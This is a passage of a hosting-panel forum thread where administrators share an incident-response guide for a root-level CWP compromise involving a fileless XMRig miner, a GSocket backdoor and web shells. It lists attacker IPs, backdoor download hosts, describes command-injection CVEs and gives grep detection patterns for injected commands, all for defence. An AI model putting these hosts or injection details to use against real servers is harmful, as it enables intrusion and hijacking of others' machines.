In my case, it felt as if there were rival installs happening and at least 2-3 different infections (2 gsocket, WordPress site hacks). It felt as if the initial entry was more of a fumbling script kiddie, but at some point things got really REAL and I was going up against a much more skilled hacker in their hacking club, affecting the firewall, kernel, more.

My only consolation is that this all appears to be for silly "1337" street cred for hacker buddies -- the only meaningful harm was to promote a Malaysian gambling site for a short moment and 50¢ in digital currency. At least it wasn't pure maliciousness or greed attempting extortion or (worst case) disk encryption. But it did waste a week of my life!
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: Wonder on October 09, 2026, 11:48:08 AM
Thank you again, overseer! I really appreciate the time and effort you've put into investigating this and sharing your findings with the community.

I agree with you — it certainly looks like we may have been dealing with multiple infections, possibly from different attackers. The similarities between the scripts are interesting, but as you said, there's probably quite a bit of code sharing going on.

I'm glad you managed to get your server back under control. What a nightmare! And yes, losing an entire week dealing with this is probably the most frustrating part of it all. 😅

I've always appreciated how generous you are with your time and knowledge, both in helping me personally and in supporting the CWP community.

Hopefully, sharing our findings will help other administrators recognize these infections earlier and avoid going through the same experience.

Thanks again, and all the best!
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: Gani Karaoğlu on October 25, 2026, 04:17:15 PM
Fileless XMRig Miner on CWP — Detection, Cleanup, and Prevention Guide

Selam. AlmaLinux 8 + CWP çalışan sunucumda bu kampanyadan ben de nasibimi aldım; paylaşayım dedim, gördüğüm kadarıyla aynı dertten muzdarip çok kişi var. Kısaca olay: diskte dosyası bile olmayan, root yetkisiyle çalışan bir XMRig (Monero) madencisi. Kendini çekirdek thread'i ve sahte systemd servisleri gibi gösterdiği için haftalarca gözüme çarpmadı. İşin iyi tarafı, CSF'de giden portları kısıtlı tuttuğum için madenci havuzuna hiç bağlanamamış; yani adam benden tek kuruş kazanamadı :) Aşağıya nasıl fark ettiğimi, nasıl temizlediğimi ve neler önerdiğimi yazdım.

Bu ne, nasıl çalışıyor ?
Yakaladığım şey XMRig'di; config.json'ındaki RandomX algoritmasından Monero kazdığı belli. Bunu aylarca görememimin üç sebebi vardı:
   • Diskte dosyası yok. memfd denen bellek içi bir dosyadan çalışıyor, yani ls ile göremezsin, ClamAV/maldet gibi imza tarayıcıları bulamaz, rpm -V bile temiz der.
   • Ayrı bir network namespace (netns) içinde çalışıyor. Bu yüzden normal ss/netstat çıktısında bağlantısı görünmüyor.
   • Süreç listesinde kendini [kworker/...], [netns], [kaluad] gibi çekirdek thread'i sanacağın isimlerle gizliyor. Kalıcılık için de sistem servisi gibi duran sahte systemd birimleri açıyor.

En kötüsü: bu şey root (UID 0) olarak çalışıyor. Yani olay tek bir sitenin hacklenmesi değil, sunucu çekirdek seviyesinde ele geçiriliyor. Madenci sürekli havuzuna bağlanmaya çalışıyordu ama güvenlik duvarı giden bağlantıyı kestiği için başaramamış.

Neye bakın (IOC'ler) ?
Şu IOC'ler benim olayımdan. Ama bunlar isim/IP'yi sık değiştiriyor, o yüzden adları birebir aramak yerine kalıba bakın: sistem servisi gibi duran sahte isimler, port 3333, root'tan dışarı giden ama engellenen bağlantılar.

Tür   -   Değer / Belirti
   • Madencilik havuzu   146.103.45.130:3333 (Singapur)
   • C2 sunucusu   212.132.98.170
   • Giden port   3333/tcp (stratum)
   • Sahte systemd servisleri   dbus-monitor-srv, systemd-logind-helpers, polkitd-helpers, auth-policykit, defunct
   • Sahte ikili dosyalar   /usr/bin/dbus-monitor-srv, /usr/bin/polkitd-helpers, /usr/bin/config.json, /usr/sbin/netd, /usr/sbin/authd, /usr/sbin/udevd-sync, /usr/lib/systemd/system/defunct.dat
   • Süreç listesinde   [kworker/...], [netns], [kaluad] gibi, ebeveyni PID 2 (kthreadd) olmayan sahte çekirdek thread'leri
   • En net belirti   CSF loglarında port 3333'e giden on binlerce *TCP_OUT Blocked* kaydı, UID=0
   • Web shell dosyaları   test123zz, 404.php, cwp_login_********.php (müşteri public_html içinde)
   • Ek sahte ikili   /usr/sbin/bootcfg
   • Ek sahte thread'ler   [kstrp], [card0-crtc8]
   • İndirme / kalıcılık kaynakları   raw.githubusercontent.com (Kyy-Shell), gs.thc.org, memek.cc
   • Exfiltrasyon host   184.107.106.86
   • Şüpheli giriş portu   2304 (CWP External API)

Tablonun alt yarısı kampanyanın web shell + GSocket ayağına ait. Bir kısmını kendi sunucumda gördüm, bir kısmı da aynı kampanyadan muzdarip başkalarının paylaştığı; birebir hepsi sizde olmayabilir.

Nasıl bulursunuz ?
Sizde de benzer şeyler varsa, şu kontroller madenciyi ortaya döker. Hepsi salt-okunur, bir şeyi bozmaz, gönül rahatlığıyla çalıştırın.

   1. Giden bağlantı loglarına bak (en hızlı yol). Tek bir porta ve tek IP'ye, UID=0'dan giden büyük sayı madenci beacon'ıdır:
   grep -h 'TCP_OUT Blocked' /var/log/messages* | grep -oE 'DPT=[0-9]+' | sort | uniq -c | sort -rn | head

   2. Silinmiş veya memfd ikilisinden çalışan süreçler (fileless madencinin en belirgin izi):
   ls -l /proc/*/exe 2>/dev/null | grep -iE 'deleted|memfd'

   3. Sahte çekirdek thread'leri (adı köşeli parantezli ama ebeveyni PID 2 / kthreadd değil):
   ps -eo pid,ppid,user,cmd --no-headers | awk '$4 ~ /^\[/ && $2 != 2 && $1 != 2'

   4. Çalıştırılabilir dosyası pakete ait olmayan systemd servisleri:
   for f in /etc/systemd/system/*.service /usr/lib/systemd/system/*.service; do b=$(grep -m1 -oP '^ExecStart=[-@+!]*\K\S+' "$f" 2>/dev/null); [ -n "$b" ] && [ -e "$b" ] && ! rpm -qf "$b" >/dev/null 2>&1 && echo "$f -> $b"; done
   
   5. Yüksek CPU ve anlık dış bağlantılar (madenci CPU'yu kemirir):
   ps -eo pid,user,pcpu,etimes,comm --sort=-pcpu | head
   ss -tnp state established | grep -vE '127.0.0.1|::1'
   
   6. Çekirdek seviyesi arka kapı kontrolü (bu dosya normalde olmamalı):
   cat /etc/ld.so.preload 2>/dev/null || echo 'yok - iyi'
   
Nasıl temizledim ?
Sırası önemli: önce kanıt al, sonra öldür. Tersini yaparsan süreci öldürürsün ama kalıcılık mekanizması beş dakika sonra geri getirir, üstüne izini de kaybedersin. Komutlardaki <PID> yerine kendi bulduğun süreci koy.

   1. Dondur ve kanıt al. Süreci SIGSTOP ile dondurup /proc'unu kopyala:
   IR=/root/ir-$(date +%F-%H%M); mkdir -p $IR && chmod 700 $IR
   kill -STOP <PID>
   cp /proc/<PID>/exe $IR/miner.bin; sha256sum $IR/miner.bin | tee $IR/sha256.txt
   cat /proc/<PID>/maps > $IR/maps; tr '\0' '\n' < /proc/<PID>/environ > $IR/environ
   ss -tunap > $IR/ss.txt; ps auxwwf > $IR/ps.txt

   2. Sahte servisleri durdur ve mask'le (reboot'ta geri gelmesinler):
   for s in dbus-monitor-srv systemd-logind-helpers polkitd-helpers auth-policykit defunct; do systemctl disable --now $s.service; systemctl mask $s.service; done

   3. Süreçleri öldür (önce CONT, sonra KILL):
   for p in <PID listesi>; do kill -CONT $p 2>/dev/null; kill -9 $p; done
   
   4. Zararlı dosyaları karantinaya al (silme; kanıt ve hash kalsın):
   Q=$IR/quarantine; mkdir -p $Q
   for f in /usr/bin/dbus-monitor-srv /usr/bin/polkitd-helpers /usr/bin/config.json /usr/sbin/netd /usr/sbin/authd /usr/sbin/udevd-sync /usr/lib/systemd/system/defunct.dat; do [ -e "$f" ] && mv "$f" $Q/; done
   chmod -R 000 $Q
   
   5. Havuz ve C2 IP'lerini engelle:
   csf -d 146.103.45.130 "XMRig havuz"
   csf -d 212.132.98.170 "C2"
   
   6. Kalıntı kontrolü ve yeniden başlatma. systemctl daemon-reload çalıştır, kalan şüpheli süreç/referans olmadığını doğrula, sonra planlı bir reboot yap. memfd süreçleri yalnızca bellekte yaşar; yeniden başlatma onları kesin temizler ve kalıcılığın gerçekten kaldırılıp kaldırılmadığını geri gelmemesiyle kanıtlar.

   Uyarı: Root bir kez ele geçtiyse o makineye artık yüzde yüz güvenemezsin. Temizlik acil tehlikeyi kaldırır ama en sağlıklısı temiz bir sunucuya geçip eskisini kapatmak.

Nereden girmiş ?
Açıkçası nereden girdiğini kesin çıkaramadım (olay haftalara yayılmış, loglar dönmüş). Ama forumda bu işi tartışanların en çok şüphelendiği yer CWP External API, yani port 2304. Bir de olay tek parça değil: önce bir web shell düşüyor (public_html'e test123zz, 404.php, cwp_login_********.php), sonra GSocket tabanlı bir root arka kapısı (defunct, auth-policykit), en son madenci. Giriş kapısı adayları şunlar:

CWP panel açıkları. CWP arayüzü root olarak koşuyor, dolayısıyla buradaki bir RCE direkt root veriyor. Aktif sömürülen, bilinen kritikler:
   • CVE-2022-44877 (https://thehackernews.com/2023/01/alert-hackers-actively-exploiting.html) — Kimlik doğrulaması gerektirmeyen RCE; giriş (login/index.php) parametresine komut enjeksiyonu. CVSS 9.8. Ocak 2023'ten beri yabanda aktif sömürülüyor. Yaklaşık 0.9.8.1147 ile yamalandı — kendi sürümünüzü doğrulayın.
   • CVE-2025-48703 (https://www.helpnetsecurity.com/2025/11/05/control-web-panel-cve-2025-48703-exploited/) — filemanager changePerm API'sindeki t_total parametresinde OS komut enjeksiyonu (CWE-78). CVSS 9.0. 0.9.8.1205'ten (Haziran 2025) önceki tüm sürümleri etkiler. Enjeksiyon için kimlik doğrulaması gerekmez; yalnızca geçerli (root olmayan) bir kullanıcı adı gerekir, ki hosting sunucularında bu adlar kolayca tahmin edilir. CISA tarafından 4 Kasım 2025'te aktif sömürülenler listesine eklendi.
   • CVE-2023-42121 (https://nvd.nist.gov/vuln/detail/CVE-2023-42121) gibi başka CWP RCE'leri de var. Kısacası: CWP'yi her zaman en güncel sürümde tutmak kritik.

CWP External API (port 2304). Forumda herkesin parmak bastığı yer burası. Servis root olarak 0.0.0.0:2304'te dinleyebiliyor; kullanmıyorsan CWP panelinden kapat, kullanıyorsan sadece güvendiğin IP'ye aç, CSF TCP_IN'de de 2304 dışarıya kapalı olsun (zaten varsayılanda listede olmamalı).

PHP / site tarafı. Linux'ta PHP'nin kendisi nadiren direkt giriş kapısı olur (ör. CVE-2024-4577 daha çok Windows/CGI'yi vuruyor). Asıl bela güncellenmemiş WordPress ve eklentiler: oradan bir PHP web shell düşüyor, adam önce site kullanıcısı olarak kod çalıştırıyor, sonra yerel bir açıkla root'a tırmanıyor. disable_functions ile exec, system, shell_exec, passthru, proc_open, popen gibileri kapatmak, bir web shell ele geçse bile verebileceği zararı epey kısar.

Ne öneririm?
Giden trafiği kısıtlayan bir güvenlik duvarı, madenci root bile olsa kazançsız kalır. Önem sırasına göre yapılacaklar:
   • CSF'de giden bağlantıları kısıtla. Varsayılan "her yere izin ver" yerine TCP_OUT/UDP_OUT'u yalnızca gereken portlarla sınırla. Madencilik havuzları 3333, 4444, 5555, 7777, 14444 gibi portlar kullanır; bunlar kapalıysa madenci havuza ulaşamaz. Bu olayda kazancı sıfırda tutan tek şey buydu.
   • CWP'yi güncel tut. Panel RCE'leri en büyük kapı. Otomatik güncellemeyi aç, sürümü düzenli kontrol et.
   • PHP disable_functions. Tehlikeli exec fonksiyonlarını kapat (bir önceki bölüm). Her PHP sürümü için ayrı ayrı.
   • auditd ile kritik dosyaları izle — /etc/audit/rules.d/hardening.rules içine:
   -w /etc/passwd -p wa -k identity
   -w /root/.ssh/ -p wa -k rootssh
   -w /etc/systemd/system/ -p wa -k systemd
   -w /var/spool/cron/ -p wa -k cron
   • Çekirdek sertleştirme (sysctl): kernel.yama.ptrace_scope=1, fs.protected_regular=2, fs.protected_fifos=2 — süreçler arası bellek okumayı ve /tmp saldırılarını zorlaştırır.
   • SSH: yalnızca anahtar (PermitRootLogin prohibit-password), standart dışı port, düşük MaxAuthTries.
   • Davranış tabanlı izleme. İmza tabanlı tarayıcılar (ClamAV/maldet) fileless/memfd madencisini göremez. Wazuh (dosya bütünlüğü + log) ve Falco (anormal syscall/süreç davranışı) bu tür tehditleri yakalamakta çok daha etkilidir.
   • Temiz kurulum. Root ele geçirildiyse, uzun vadede en güvenli yol temiz bir sunucuya taşınıp eskisini kapatmaktır.

Kaynaklar:
   • CVE-2022-44877 — CWP kritik RCE aktif sömürülüyor (The Hacker News): https://thehackernews.com/2023/01/alert-hackers-actively-exploiting.html
   • CVE-2025-48703 — Control Web Panel aktif sömürülüyor (Help Net Security): https://www.helpnetsecurity.com/2025/11/05/control-web-panel-cve-2025-48703-exploited/
   • CVE-2025-48703 — teknik detay (Wiz): https://www.wiz.io/vulnerability-database/cve/cve-2025-48703
   • CVE-2023-42121 — NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-42121
   • CWP forum — bu kampanyanın IOC tartışması (root compromise, XMRig, port 2304): https://forum.centos-webpanel.com/centos-webpanel-bugs/possible-cwp-security-issue-root-compromise-omrig-miner-and-port-2304-exposed/msg54340/#msg54340
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: overseer on October 25, 2026, 05:05:31 PM
IYKYK. Turkish language?
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: Gani Karaoğlu on October 25, 2026, 06:09:24 PM
Most of the fixes have already been pointed out in this thread. I originally wrote my post in Turkish, partly for Turkish users who have a hard time following English — here's the English version.

Fileless XMRig Miner on CWP — Detection, Cleanup, and Prevention Guide

Hey all. My AlmaLinux 8 + CWP box got hit by this campaign too, so I figured I'd share — looks like plenty of people are dealing with the same thing. Short version: a fileless XMRig (Monero) miner running as root, with no file on disk. It hid for weeks by disguising itself as a kernel thread and as fake systemd services. The good news: because I keep outbound ports locked down in CSF, the miner could never reach its pool — so it earned the guy exactly zero :) Below is how I spotted it, how I cleaned it, and what I'd recommend.

What is it, how does it work?
What I caught was XMRig; the RandomX algorithm in its config.json makes it clear it's mining Monero. Three things kept me from seeing it for months:
   • No file on disk. It runs from an in-memory file (memfd), so you can't see it with ls, signature scanners like ClamAV/maldet won't find it, and even rpm -V comes back clean.
   • It runs inside a separate network namespace (netns), so its connection doesn't show up in normal ss/netstat output.
   • In the process list it hides under kernel-thread-looking names like [kworker/...], [netns], [kaluad]. For persistence it also creates fake systemd units that look like system services.

Worst part: this thing runs as root (UID 0). So it's not a single hacked site — the server is compromised at the kernel level. The miner kept trying to reach its pool, but the firewall blocked the outbound connection so it never got through.

What to look for (IOCs)
These IOCs are from my case. But they rotate names/IPs often, so instead of searching for exact names, look for the pattern: fake names that look like system services, port 3333, and blocked outbound connections coming from root.

Type   -   Value / Indicator
   • Mining pool   146.103.45.130:3333 (Singapore)
   • C2 server   212.132.98.170
   • Outbound port   3333/tcp (stratum)
   • Fake systemd services   dbus-monitor-srv, systemd-logind-helpers, polkitd-helpers, auth-policykit, defunct
   • Fake binaries   /usr/bin/dbus-monitor-srv, /usr/bin/polkitd-helpers, /usr/bin/config.json, /usr/sbin/netd, /usr/sbin/authd, /usr/sbin/udevd-sync, /usr/lib/systemd/system/defunct.dat
   • In the process list   fake kernel threads like [kworker/...], [netns], [kaluad] whose parent is NOT PID 2 (kthreadd)
   • Clearest sign   tens of thousands of *TCP_OUT Blocked* entries to port 3333 in the CSF logs, with UID=0
   • Web shell files   test123zz, 404.php, cwp_login_********.php (inside client public_html)
   • Extra fake binary   /usr/sbin/bootcfg
   • Extra fake threads   [kstrp], [card0-crtc8]
   • Download / persistence sources   raw.githubusercontent.com (Kyy-Shell), gs.thc.org, memek.cc
   • Exfiltration host   184.107.106.86
   • Suspected entry port   2304 (CWP External API)

The bottom half of the table belongs to the campaign's web shell + GSocket stage. Some of it I saw on my own server, some was shared by others hit by the same campaign — you may not have every one of them.

How to find it
If you're seeing similar signs, these checks will surface the miner. They're all read-only, won't break anything, run them without worry.

   1. Check the outbound block logs (fastest). A high count to a single port and single IP, from UID=0, is the miner beacon:
   grep -h 'TCP_OUT Blocked' /var/log/messages* | grep -oE 'DPT=[0-9]+' | sort | uniq -c | sort -rn | head

   2. Processes running from a deleted or memfd binary (the clearest sign of a fileless miner):
   ls -l /proc/*/exe 2>/dev/null | grep -iE 'deleted|memfd'

   3. Fake kernel threads (bracketed name but parent is not PID 2 / kthreadd):
   ps -eo pid,ppid,user,cmd --no-headers | awk '$4 ~ /^\[/ && $2 != 2 && $1 != 2'

   4. systemd services whose executable doesn't belong to any package:
   for f in /etc/systemd/system/*.service /usr/lib/systemd/system/*.service; do b=$(grep -m1 -oP '^ExecStart=[-@+!]*\K\S+' "$f" 2>/dev/null); [ -n "$b" ] && [ -e "$b" ] && ! rpm -qf "$b" >/dev/null 2>&1 && echo "$f -> $b"; done

   5. High CPU and current outbound connections (a miner eats CPU):
   ps -eo pid,user,pcpu,etimes,comm --sort=-pcpu | head
   ss -tnp state established | grep -vE '127.0.0.1|::1'

   6. Kernel-level backdoor check (this file shouldn't normally exist):
   cat /etc/ld.so.preload 2>/dev/null || echo 'none - good'

How I cleaned it
Order matters: collect evidence first, then kill. Do it the other way around and you'll kill the process but the persistence mechanism brings it back five minutes later — and you lose the trail. Replace <PID> in the commands with the process you actually found.

   1. Freeze and collect evidence. SIGSTOP the process and copy its /proc:
   IR=/root/ir-$(date +%F-%H%M); mkdir -p $IR && chmod 700 $IR
   kill -STOP <PID>
   cp /proc/<PID>/exe $IR/miner.bin; sha256sum $IR/miner.bin | tee $IR/sha256.txt
   cat /proc/<PID>/maps > $IR/maps; tr '\0' '\n' < /proc/<PID>/environ > $IR/environ
   ss -tunap > $IR/ss.txt; ps auxwwf > $IR/ps.txt

   2. Stop and mask the fake services (so they don't come back on reboot):
   for s in dbus-monitor-srv systemd-logind-helpers polkitd-helpers auth-policykit defunct; do systemctl disable --now $s.service; systemctl mask $s.service; done

   3. Kill the processes (CONT first, then KILL):
   for p in <PID list>; do kill -CONT $p 2>/dev/null; kill -9 $p; done

   4. Quarantine the malicious files (don't delete; keep evidence and hashes):
   Q=$IR/quarantine; mkdir -p $Q
   for f in /usr/bin/dbus-monitor-srv /usr/bin/polkitd-helpers /usr/bin/config.json /usr/sbin/netd /usr/sbin/authd /usr/sbin/udevd-sync /usr/lib/systemd/system/defunct.dat; do [ -e "$f" ] && mv "$f" $Q/; done
   chmod -R 000 $Q

   5. Block the pool and C2 IPs:
   csf -d 146.103.45.130 "XMRig pool"
   csf -d 212.132.98.170 "C2"

   6. Check for leftovers and reboot. Run systemctl daemon-reload, confirm no suspicious process/reference remains, then do a planned reboot. memfd processes live only in memory; a reboot clears them for sure and proves the persistence is actually gone (by not coming back).

   Warning: Once a box has been rooted, you can never fully trust it again. Cleanup removes the immediate danger, but the safest path is to move to a clean server and retire the old one.

How did it get in?
Honestly, I couldn't pin down the exact entry (it was spread over weeks, logs had rotated). But the thing people in this thread suspect most is the CWP External API, i.e. port 2304. Also, it's not a single piece: first a web shell drops (test123zz, 404.php, cwp_login_********.php into public_html), then a GSocket-based root backdoor (defunct, auth-policykit), and the miner last. The entry-point candidates:

CWP panel vulns. The CWP UI runs as root, so an RCE there gives you root directly. Known, actively exploited criticals:
   • CVE-2022-44877 (https://thehackernews.com/2023/01/alert-hackers-actively-exploiting.html) — Unauthenticated RCE; command injection in the login (login/index.php) parameter. CVSS 9.8. Actively exploited in the wild since January 2023. Patched around 0.9.8.1147 — verify your own version.
   • CVE-2025-48703 (https://www.helpnetsecurity.com/2025/11/05/control-web-panel-cve-2025-48703-exploited/) — OS command injection (CWE-78) in the t_total parameter of the filemanager changePerm API. CVSS 9.0. Affects all versions before 0.9.8.1205 (June 2025). The injection needs no authentication; it only needs a valid (non-root) username, which is easy to guess on a hosting server. Added to CISA's actively-exploited list on November 4, 2025.
   • There are other CWP RCEs too, like CVE-2023-42121 (https://nvd.nist.gov/vuln/detail/CVE-2023-42121). Bottom line: keep CWP on the latest version.

CWP External API (port 2304). This is where everyone in the thread points. The service can listen as root on 0.0.0.0:2304; if you don't use it, turn it off in the CWP panel, and if you do, open it only to trusted IPs and keep 2304 closed to the outside in CSF TCP_IN (it shouldn't be in the list by default anyway).

PHP / site side. On Linux, PHP itself is rarely the direct entry (e.g. CVE-2024-4577 mostly hits Windows/CGI). The real trouble is outdated WordPress and plugins: a PHP web shell drops through them, the attacker runs code as the site user first, then escalates to root via a local bug. Disabling functions like exec, system, shell_exec, passthru, proc_open, popen via disable_functions greatly limits what a web shell can do even if one lands.

What I'd recommend
A firewall that restricts outbound traffic leaves the miner earning nothing, even as root. In order of importance:
   • Restrict outbound connections in CSF. Instead of the default "allow everything," limit TCP_OUT/UDP_OUT to only the ports you need. Mining pools use ports like 3333, 4444, 5555, 7777, 14444; if those are closed the miner can't reach the pool. This is the one thing that kept earnings at zero in my case.
   • Keep CWP updated. Panel RCEs are the biggest door. Enable auto-updates, check the version regularly.
   • PHP disable_functions. Turn off the dangerous exec functions (previous section). Separately for each PHP version.
   • Watch critical files with auditd — into /etc/audit/rules.d/hardening.rules:
   -w /etc/passwd -p wa -k identity
   -w /root/.ssh/ -p wa -k rootssh
   -w /etc/systemd/system/ -p wa -k systemd
   -w /var/spool/cron/ -p wa -k cron
   • Kernel hardening (sysctl): kernel.yama.ptrace_scope=1, fs.protected_regular=2, fs.protected_fifos=2 — makes cross-process memory reads and /tmp attacks harder.
   • SSH: key-only (PermitRootLogin prohibit-password), non-standard port, low MaxAuthTries.
   • Behavior-based monitoring. Signature scanners (ClamAV/maldet) can't see a fileless/memfd miner. Wazuh (file integrity + logs) and Falco (abnormal syscall/process behavior) are far better at catching this kind of threat.
   • Clean rebuild. If you've been rooted, the safest long-term path is to move to a clean server and shut the old one down.

Sources:
   • CVE-2022-44877 — critical CWP RCE under active exploitation (The Hacker News): https://thehackernews.com/2023/01/alert-hackers-actively-exploiting.html
   • CVE-2025-48703 — Control Web Panel actively exploited (Help Net Security): https://www.helpnetsecurity.com/2025/11/05/control-web-panel-cve-2025-48703-exploited/
   • CVE-2025-48703 — technical details (Wiz): https://www.wiz.io/vulnerability-database/cve/cve-2025-48703
   • CVE-2023-42121 — NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-42121
   • CWP forum — IOC discussion for this campaign (root compromise, XMRig, port 2304): https://forum.centos-webpanel.com/centos-webpanel-bugs/possible-cwp-security-issue-root-compromise-omrig-miner-and-port-2304-exposed/msg54340/#msg54340
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: max on November 11, 2026, 03:36:58 AM
My server had the exact hack also. as soon as I saw it i wiped it instead of messing around. I had ssh off entirely. I will read more here as how they got into it I had it locked down good. test123zz was found and fake Index.php
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: akinsayo on November 11, 2026, 07:26:46 AM
It would be nice if CWP admin can have a kind of tool to scan and deal with this kind of issue for users not too techie. Would be really really nice.
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: Administrator on November 11, 2026, 09:24:07 AM
cwp has already fixed all and this problem were in cwp 1.26 or lower.
if infected (alerts in cwp) our system admins cleans your servers very fast, you only need to open a support ticket

also in each new cwp version we improve cleaning script so infected servers gets cleaned.

Latest cwp versions are now much more secure compared to other control panels.

Our new moto is security and stability first, as you can see we release new updates every day with improvements and bugs found or reported by our clients or 3rd party security experts.

Also forum is monitored by our devs for bugs/issues so those also get resolved in new versions.

Also we are bringing many new tools in future versions as you can see in our Edge-Latest version.
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: akinsayo on November 11, 2026, 11:51:39 AM
Cool.
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: itoma on November 11, 2026, 11:58:18 AM
I can confirm this campaign on one of my servers too. The entry point was the CWP API (port 2304): attacker commands were injected through API calls and executed as root. The server is cleaned up and secured now.

Everyone should check their API log, even if you are already on the latest CWP version. Updating closes the hole, but it does not show whether you were hit before:

grep -nE '146\.103\.45\.130|184\.107\.106\.86|80\.78\.31\.62|212\.132\.98\.170|/home/x;|;ls;|base64 -d' /var/log/cwp/cwp_api.log

Any match means commands were executed on your server, and it should be treated as compromised.

Recommendations:

close port 2304 and all panel ports in CSF TCP_IN, or allow them only for your own IPs;
restrict outbound traffic (TCP_OUT) to what your server really needs, because this campaign uses common ports such as mail ports to send data out;
rotate all credentials if you find a match.
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: GORF on November 13, 2026, 12:22:46 AM
Quote from: Freespirits_GR_Host on October 07, 2026, 10:47:31 PMFull disclosure: I'm the developer of the CWP7 Security Audit Module. I built it specifically to help identify compromise and persistence indicators on CWP servers, so it can be useful for the verification stage here. But I would preserve and examine the evidence first rather than simply running a cleanup and assuming the machine is safe.

Is the CWP7 Security Audit Module available? I do not see it in one of my 2.0.2 Edge servers.
Title: Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
Post by: Wonder on November 13, 2026, 08:05:03 PM
Quote from: Administrator on November 11, 2026, 09:24:07 AMcwp has already fixed all and this problem were in cwp 1.26 or lower.
if infected (alerts in cwp) our system admins cleans your servers very fast, you only need to open a support ticket

also in each new cwp version we improve cleaning script so infected servers gets cleaned.

Latest cwp versions are now much more secure compared to other control panels.

Our new moto is security and stability first, as you can see we release new updates every day with improvements and bugs found or reported by our clients or 3rd party security experts.

Also forum is monitored by our devs for bugs/issues so those also get resolved in new versions.

Also we are bringing many new tools in future versions as you can see in our Edge-Latest version.
Great job, fantastic work! It shows every day!

Thank you so much!